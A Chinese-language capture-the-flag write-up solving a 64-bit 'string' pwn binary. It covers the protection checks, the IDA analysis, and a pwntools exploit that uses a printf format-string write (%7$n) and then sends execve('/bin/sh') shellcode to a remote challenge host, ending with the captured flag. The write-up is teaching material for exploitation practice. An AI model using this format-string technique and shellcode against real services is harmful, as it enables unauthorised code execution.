1.查看文件保护
64位,开启了NX(数据不可执行)、Canary(栈保护)和Full RELRO(无法修改GOT表)
运行程序
图画之后的提示中有两个secret
secret[0] is 12b32a0
secret[1] is 12b32a4
用户输入名字后,出现一大段故事,接着有两次选择:
(1)east or up?
选up后会让用户重新选择,所以只能选east
(2)选east后:there(1)or leave(0)?
输入0选择leave,则程序输出一段字符后程序退出
输入1后程序提示用户输入一个地址和一个愿望,接着程序输出一段字符后退出
2.IDA静态分析
(1)main
程序逻辑分析:
1)启动计时器后执行sub_400996,接着定义数组v4,且v4[0]=68,v4[1]=85
2)第13、14行给出的secret是v4[0](68)和v4[1](85)的地址
3)输出一系列字符串后执行sub_400D72
(2)sub_400996
输出off_603010,跟进后发现为asc_400F98,内容为龙的图画
(3)sub_400D72
判断角色名长度小于0x28,执行之后三个函数
1)sub_400A7D
只能选择east,判断选择east后还有一层判断s1是否等于"up",若为up则执行sub_4009DD,但根据程序逻辑,此判断无法成立,sub_4009DD执行不了
查看sub_4009DD
此函数中有随机数生成函数srand()和rand(),接着scanf输入
2)sub_400BB9
先让用户输入一个数字,若为1则进入到if段里,接着先要求输入一个数字,再要求输入一个字符串
紧接着该函数直接将该字符串作为参数传入到printf
函数中去了
显然printf(format)可以利用格式化字符串漏洞
3)sub_400CA6
输出一堆字符后,判断a1[0]与a1[1]是否相等,如果相等,则申请一片空间,然后通过read
函数获取用户输入写入到刚刚申请到的空间中,然后把该空间中的值作为一段代码执行,而这里的参数数组a1就是main
函数的v4
数组
mmap是一种内存映射文件的方法
关键:第17行是将v1转化为可执行函数。 本题没有出现system函数,所以要在此处写个shellcode。
当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。
3.解题
**首先利用格式化字符串漏洞,将v4[0]=v4[1]
,然后写入shellcode
来getshell
,首先我们来寻找一下偏移量,执行程序,输入名字之后,输入east
,然后输入1
,之后输入payload
测试偏移量。
(1)测试偏移量
让输入地址是1,算出它的偏移量。
代码如下:
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = process('./string')
p.recvuntil(b"What should your character's name be:\n")
p.sendline(b"haha")
p.recvuntil(b"So, where you will go?east or up?:\n")
p.sendline(b"east")
p.recvuntil(b"go into there(1), or leave(0)?:\n")
p.sendline(b'1')
p.recvuntil(b"'Give me an address'\n")
p.sendline(b'1') #0x1
p.recvuntil(b'And, you wish is:\n')
p.sendline(b'%p_%p_%p_%p_%p_%p_%p_%p_%p_%p')
print(p.recv())
运行结果:
可以看到0x1
在第7个,偏移量为 7
(2)编写EXP
EXP代码如下:
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#p = process('./string')
p= remote('61.147.171.105',51749)
p.recvuntil(b'secret[0] is ')
addr = int(p.recvuntil(b'\n')[:-1],16) #接收v4的地址
p.recvuntil(b"What should your character's name be:\n")
p.sendline(b"haha")
p.recvuntil(b"So, where you will go?east or up?:\n")
p.sendline(b"east")
p.recvuntil(b"go into there(1), or leave(0)?:\n")
p.sendline(str(1))
p.recvuntil(b"'Give me an address'\n")
p.sendline(str(addr))
p.recvuntil(b'And, you wish is:\n')
payload=b'a'*85+ b"%7$n" #payload=b'%85c%7$n'也可
p.sendline(payload)
shellcode = b"\x48\x31\xc0\x99\xb0\x3b\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x57\x52\x48\x89\xe6\x0f\x05"
p.sendline(shellcode)
p.interactive()
运行结果:
flag为:cyberpeace{95d78494a59d978c1c6832bf29d40f3b}